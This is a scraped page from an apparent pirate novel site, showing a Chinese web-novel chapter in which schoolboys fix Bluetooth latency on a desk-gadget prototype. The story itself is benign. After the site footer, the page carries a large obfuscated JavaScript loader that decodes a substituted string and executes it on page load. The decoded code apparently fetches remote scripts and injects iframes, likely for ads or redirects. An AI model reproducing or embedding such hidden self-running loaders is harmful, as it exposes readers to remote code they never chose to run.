首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第23章 食堂窗口的博弈论

下载APP,无广告、完整阅读
    第23章食堂窗口的博弈论(第1/2页)
    九月底的北方小城,秋意像是某种渗透力极强的化学试剂,不知不觉间就置换了夏日的余温。天空高远,呈现出一种稀释过的淡蓝色,阳光虽然依旧明亮,却少了盛夏那种把柏油路晒化胶质的狠劲。
    对于初三学生来说,这种天气唯一的好处大概就是跑操不会中暑,坏处则是困意会随着窗外那一排排开始泛黄的梧桐树叶,在下午第一节课呈指数级增长。
    上午最后一节课是英语,教英语的高老师是个急性子,讲课语速快得像是在按二倍速播放。她手中的粉笔在黑板上敲击出笃笃笃的脆响,仿佛是某种催命的倒计时。
    “这题选C,这道完形填空如果还有人选A,我就要把你的脑袋打开看看里面装的是不是浆糊!”高老师的声音在教室里回荡,粉笔灰在阳光的光柱里飞舞。
    葵茶茶坐在座位上,手里转着一支中性笔。重生回来的这段时间,他虽然努力在适应初三的节奏,但那种刻在骨子里的社畜本能还是让他对这种填鸭式教学感到一丝无奈。他瞥了一眼同桌陈也,女生正坐得笔直,甚至还在高老师的咆哮声中飞快地做着笔记,字迹工整得像是在刻碑。
    “叮铃铃——”
    下课铃声像是一道赦免令,瞬间击碎了教室里凝固的空气。
    几乎是铃声响起的第一秒,原本死气沉沉的教室瞬间“活”了过来。后排几个男生甚至还没等老师说“Classover”,就已经把身子探出了座位,像是百米起跑线上的运动员,只待发令枪响。
    “那包的呀,这题也能错?”小胡在后排推了推眼镜,一边收拾文具一边嘟囔着高老师刚才骂人的口头禅。
    英语老师前脚刚迈出教室门,后脚教室里就涌起了一股名为“饥饿”的躁动。
    “走不走?”Dinky(馆长)不知什么时候晃悠到了葵茶茶桌边,手里捏着饭卡,脸上带着一种名为“为了生存”的决绝,“今天去晚了,糖醋里脊就真的没了,那就只剩土豆炖土豆了。”
    “走。”葵茶茶把笔袋往书包里一塞,站起身。
    “天欣,华霖,走起。”Dinky又冲着后面喊了一嗓子。
    李天欣正对着一张草稿纸发呆,听到喊声,像是从某种代码逻辑里被强行拽了出来,愣了一下才抓起眼镜戴上:“哦……好,走。”
    神里华霖依旧沉默,只是默默合上书,站起身时那191的身高给周围带来了一片阴影。他不需要说话,只需要站在那里,就能在拥挤的人潮里为这个小团体撑开一点空间。
    初三的食堂战场,讲究的是兵贵神速和战术配合。
    因为学校是走读制,大部分学生中午都会选择在学校食堂解决,或者去校外的小吃街。但对于912班这种“技术宅”含量较高的群体来说,去校外太远,回来还要赶着调试设备,食堂是唯一的战场。
    一出教学楼,人流便如同开闸的洪水。
    “今天的战术是分兵合击。”小胡一边快步走一边低声部署,“我和华霖去那个新开的窗口抢那个什么……鸡腿饭?反正肉多的那个。馆长你去老窗口排队,那边的阿姨手抖得没那么厉害。天欣和茶茶去占座,顺便看管设备。”
    “收到。”Dinky虽然平时怕累,但涉及到吃,他的行动力堪比特种兵。
    几人冲进食堂,一股混合着饭菜香气、油烟味和嘈杂人声的热浪扑面而来。食堂里全是蓝白相间的校服,像是搅拌开的颜料。
    葵茶茶和李天欣找了个靠窗的角落位置,把书包放下。李天欣从包里掏出那个略显粗糙的原型机外壳——这是神里华霖这几天用亚克力板和废弃材料勉强磨出来的,虽然外观还谈不上美感,但至少把那一堆乱七八糟的杜邦线和开发板兜住了。
    “刚才最后一节课,我想到了一个可能的点。”李天欣一边摆弄着那个东西,一边压低声音说,手指习惯性地在桌面上敲击,仿佛那里有一个看不见的键盘,“蓝牙延迟的问题,可能不是硬件的问题,是缓冲区的逻辑。”
    葵茶茶接过话头,眼神专注:“你是说,我们在数据包发送的时候,为了稳定性加了等待确认机制,导致每一次指令都要等ACK回来才发下一个?”
    “对。”李天欣推了推眼镜,镜片后的眼神闪过一丝亮光,“但是如果我们把确认机制改成异步的,或者干脆牺牲一点稳定性,把重传次数降低……”
    “不行。”葵茶茶摇摇头,拿起筷子抽纸擦了擦桌子,“如果是在干扰强的环境,比如这食堂里,掉包率会高得离谱。到时候课桌助手抬个桌板都抬不起来,那才叫丢人。”
    “那你的意思是?”李天欣皱眉。
    “改变数据包结构。”葵茶茶指了指那个外壳,“我们现在是一次发一个指令。如果我们把指令打包,一次发一组,然后只确认一次。或者,用广播模式,不建立连接,直接广播控制信号,接收端只认特定ID的包。”
    李天欣陷入了沉思,手指不再敲击,而是捏着下巴:“广播模式……虽然不雅观,但是在低延迟上确实有优势。可是安全性呢?万一隔壁班也有个蓝牙设备……”
    “那就加个简单的校验头嘛,又不难。”葵茶茶笑了笑,这种纯粹的技术探讨让他感到一种久违的轻松。没有职场的勾心斗角,没有甲方的无理取闹,只有两个技术宅为了几毫秒的延迟在食堂里争论。
    正说着,小胡和神里华霖端着餐盘回来了。神里华霖手里端着两个盘子,走路稳得像是在运送精密仪器,即使被一个急着插队的女生撞了一下,盘子里的汤汁连晃都没晃。
    “来,糖醋里脊,最后一勺。”小胡把盘子放在桌上,颇有一种胜利者的姿态,“这简直是战争。”
    Dinky稍晚一点过来,虽然慢了点,但他端着的是满满当当的一盘红烧肉炖土豆,而且肉的比例明显超标。
    “这就是艺术总监的待遇?”葵茶茶看着Dinky的盘子,打趣道。
    Dinky嘿嘿一笑,一屁股坐在板凳上:“那是,我和那阿姨说了,我们要搞大创,补脑,必须多点肉。”
    所谓的“大创”(大学生创新创业训练计划)其实是大学里的词,但Dinky觉得这个词听起来比较高端,就一直在用。食堂阿姨虽然听得云里雾里,但看在这孩子嘴甜的份上,手确实没抖。
    吃饭的时候,话题自然而然地回到了即将到来的校内选拔上。
    “王哥那边怎么说?”葵茶茶夹了一块里脊放进嘴里,酸甜的口感瞬间在舌尖炸开,虽然面粉裹得有点厚,但对于初三的学生来说,这就是顶级美味。
    小胡叹了口气,推了推眼镜:“还能怎么说,‘那是包的呀’。王哥虽然嘴上说支持,但他昨天把我和天欣叫过去,暗示我们如果成绩掉出前两百,这项目就得停。”
    “这就是赤裸裸的威胁。”Dinky愤愤不平地嚼着土豆,“我又不是前两百,我也没见他不让我跑腿啊。”
    “你是特例,你是……那个词叫什么来着?”小胡看向葵茶茶。
    “不可控变量。”葵茶茶一本正经地胡说八道。
    “对,不可控变量。”小胡笑了,“反正,王哥的意思很明确,玩技术可以,别耽误学习。尤其是天欣,上次月考波动有点大。”
    李天欣低头扒饭,没说话,但嘴角的弧度稍微往下撇了撇。他是个傲气的人,虽然平时话不多,但对于自己的技术能力有着绝对的自信。成绩的波动更多是因为他把太多精力花在了代码优化上。
    “没事,这次选拔要是能拿第一,王哥肯定没话说。”葵茶茶安抚道,“而且蓝牙的问题,刚才我和天欣聊了一下,方案已经有了雏形。下午去储藏室试一下。”
    “真的?”小胡眼睛一亮,“哎呀我去,那感情好。这破蓝牙搞得我昨晚做梦都是那一串串的十六进制代码。”
    神里华霖默默地吃完了最后一口饭,抽出纸巾擦了擦嘴,然后从书包里掏出一个素描本。他翻开一页,推到桌子中间。
    大家凑过去一看,那是“智能课桌助手”的最终形态渲染图。虽然是手绘的,但线条流畅,透视精准。原本那个显得有些臃肿的底座被优化成了流线型,夹层设计巧妙地隐藏了电池仓,甚至还在边缘加了一层防撞的软胶条。
    “这是……”Dinky瞪大了眼睛,“这也太帅了吧?华霖你什么时候画的?”
    (本章未完,请点击下一页继续阅读)第23章食堂窗口的博弈论(第2/2页)
    神里华霖指了指昨晚大家睡觉的时间,又指了指自己的眼睛,意思很明显:熬夜画的。
    “结构上没问题。”葵茶茶仔细看了看,作为曾经的工程师,他的眼光很毒,“但是这个转轴部分,如果用3D打印的话,强度够吗?”
    华霖点点头,在旁边写了几个字:【准备用金属件加固】。
    “经费?”小胡一针见血地指出了核心问题。
    华霖耸了耸肩,又写道:【我有存货,以前玩航模剩下的】。
    “哎呀我去,大户人家啊。”小胡感叹道,“行,那咱们下午就兵分两路,天欣和茶茶搞定蓝牙,华霖搞结构,我和馆长……”
    “我和馆长负责给你们把那个破饮水机修了。”小胡指了指角落里那台正在滴水的饮水机,“不然咱们班同学下午没水喝,王哥又要吼人了。”
    Dinky苦着脸:“为啥又是我?我刚吃饱……”
    “因为你今天是后勤部长。”葵茶茶毫不留情地补刀,“而且刚才那个红烧肉,你吃得最多。”
    Dinky看了看盘子,无话可说。
    吃完饭,几个人没有回教室午休,而是直接去了实验楼那间狭小的储藏室。
    与其说是储藏室,不如说是杂物间。里面堆满了废弃的桌椅、仪器箱子,空气中弥漫着一股陈旧的灰尘味和电路板焊锡的味道。
    但就是这不到十平米的地方,成了他们这群人的秘密基地。
    一进门,Dinky就熟练地从角落里拖出一个工具箱,开始翻找螺丝刀和胶带。小胡则去检查那个传说中的“智能课桌助手”原型机。
    葵茶茶和李天欣坐在那张唯一的破旧实验台前,两台笔记本并排开着,屏幕上跑动着密密麻麻的代码。
    “广播模式有风险,但我们可以尝试用一种变种的连接方式。”葵茶茶的手指在键盘上飞快地敲击,清脆的机械键盘声在狭小的空间里显得格外清晰,“把连接间隔从默认的20ms降到7.5ms,这是蓝牙4.0协议允许的最小间隔。虽然功耗会高一点,但反应速度能提上来。”
    “7.5ms……”李天欣盯着屏幕,若有所思,“确实可行。但是安卓手机那边的蓝牙协议栈对这种非标准参数可能会有兼容性问题。”
    “不管兼容性了,先在我们这台测试机上跑通。”葵茶茶眼中闪过一丝技术宅特有的狂热,“只要演示的时候不崩就行。”
    时间一分一秒地过去。
    储藏室里很安静,只有键盘声、小胡和Dinky在角落里修理饮水机的叮当声,以及神里华霖用锉刀打磨塑料件的沙沙声。
    突然,角落里传来一声惨叫。
    “水!水喷出来了!”Dinky手忙脚乱地跳开,手里还拿着一把沾水的螺丝刀。
    原来是饮水机的水桶接口老化裂开了,一股细流直接滋了Dinky一身。
    “哎呀我去,笨死你得了。”小胡一边骂一边过去关阀门,“让你修个东西,你是来洗澡的吧?”
    葵茶茶和李天欣回过头,看着Dinky那狼狈的样子,上衣湿了一大片,紧紧贴在身上,显得有些滑稽。
    “别看了,赶紧搞你们的蓝牙。”Dinky无奈地甩了甩手上的水珠,“我这算是工伤,下午我要申请第一批次的面包作为抚恤金。”
    “行行行,批了。”葵茶茶笑着转回身,继续盯着屏幕。
    这大概就是青春最真实的样子。没有什么惊天动地的阴谋,也没有什么为了兄弟两肋插刀的热血桥段。有的只是为了解决一个Bug而绞尽脑汁的专注,为了修好一台破饮水机而弄得满身狼狈的尴尬,还有那一群人聚在一起,为了同一个看似遥远的目标而努力的默契。
    就在这时,储藏室的门被敲响了。
    节奏很轻,很礼貌。
    “请进。”葵茶茶喊了一声。
    门被推开一条缝,并没有人进来,而是探进来一个女生的脑袋。
    是班长刘喵喵。
    她看着满屋子的男生,还有那个正在滴水的饮水机,眉头微微皱了一下,但很快恢复了那种干练的神情。
    “那个,王哥让我通知一声,下午的班会课取消,改自习。”刘喵喵说道,目光扫过葵茶茶面前的电脑屏幕,又看了看角落里的Dinky,“还有,Dinky,你衣服湿了最好去换一下,下午教导主任要巡查,别被抓着扣班分。”
    “啊?我也想换啊,但我没带校服上衣。”Dinky苦着脸。
    “有件备用的,在教室柜子里,一会给你拿过来。”刘喵喵说完,并没有多留,也没有对这群男生搞的“发明创造”表现出过多的好奇,只是最后补了一句,“那个……蓝牙如果搞不定,别把实验室炸了就行。”
    说完,门关上了。
    屋里几个人面面相觑。
    “猫猫姐就是霸气。”Dinky感叹道,“连关心人都这么像下命令。”
    “那是班长该有的气场。”葵茶茶笑了笑,但很快,他的笑容收敛了一些,“不过,教导主任要巡查?”
    “这是个麻烦事。”小胡皱眉,“如果我们下午都在这储藏室,不去上课,会不会被抓?”
    “自习课……”葵茶茶想了想,“应该没事。王哥既然把储藏室钥匙给我们,就说明默许了。只要别弄出太大动静就行。”
    “那咱们小声点。”李天欣缩了缩脖子,显然对教导主任这种生物有着天然的畏惧。
    葵茶茶重新把注意力放回代码上。看着屏幕上那行刚刚修改完的参数,他深吸了一口气。
    “天欣,烧录程序。”
    “好。”
    随着进度条一点点走完,原型机上的指示灯闪烁了几下,然后稳定在了常亮状态。
    那是连接成功的信号。
    葵茶茶拿起手机,点开控制软件,手指悬停在“抬起桌板”的虚拟按钮上。
    “见证奇迹的时刻。”
    他按了下去。
    没有任何延迟。
    伴随着轻微的电机嗡鸣声,原型机上的亚克力桌板顺滑地抬起,直到预定角度才稳稳停住。没有卡顿,没有那令人心焦的一秒钟延迟。
    “成了!”
    李天欣猛地一拍大腿,眼睛瞪得溜圆,平日里那种冷淡的气质瞬间崩塌,取而代之的是一种孩子气的兴奋。
    小胡和神里华霖也停下了手里的活,围了过来。
    “哎呀我去,真没问题了?”小胡难以置信地看着那个抬起的桌板,“这就……这就丝滑了?”
    “这就是代码的魅力。”葵茶茶长舒一口气,靠在椅背上,看着头顶那斑驳的天花板,嘴角扬起一抹笑意。
    哪怕重生一次,那种解决技术难题后的快感,依然是任何物质奖励都无法替代的。
    “行了,别激动了。”葵茶茶站起身,伸了个懒腰,“蓝牙搞定了,剩下的就是结构整合。华霖,你那边进度怎么样?”
    神里华霖指了指桌上的那堆零件,做了一个“OK”的手势。
    “很好。”葵茶茶看了一眼时间,下午第一节课快开始了,“走吧,回教室。这节是物理课,王哥的课,要是迟到……”
    “那包的死死的。”小胡打了个寒颤,“王哥的物理课迟到,比见教导主任还恐怖。”
    众人一阵收拾,把原型机小心翼翼地锁回柜子里,又嘱咐Dinky把修好的饮水机搬回教室——虽然只是临时堵住了漏水点,但至少能用。
    走出实验楼,外面的阳光正好。
    秋风卷起地上的落叶,在水泥地上打着转。
    葵茶茶走在最后,回头看了一眼那间储藏室的窗户。那里堆满了杂物,不起眼,甚至有些脏乱。但在他眼里,那里却像是这个平淡初三生活里的一座灯塔。
    “这就是我们的基地啊。”他轻声自语了一句,然后紧走几步,追上了前面的伙伴们。
    “哎,Dinky,你那件湿衣服……”
    “别提了,凉飕飕的,猫猫姐啥时候把衣服送来啊……”
    “你要不先裹个报纸?”
    “滚!”
    少年们的打闹声渐渐远去,消失在教学楼长长的走廊尽头。

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();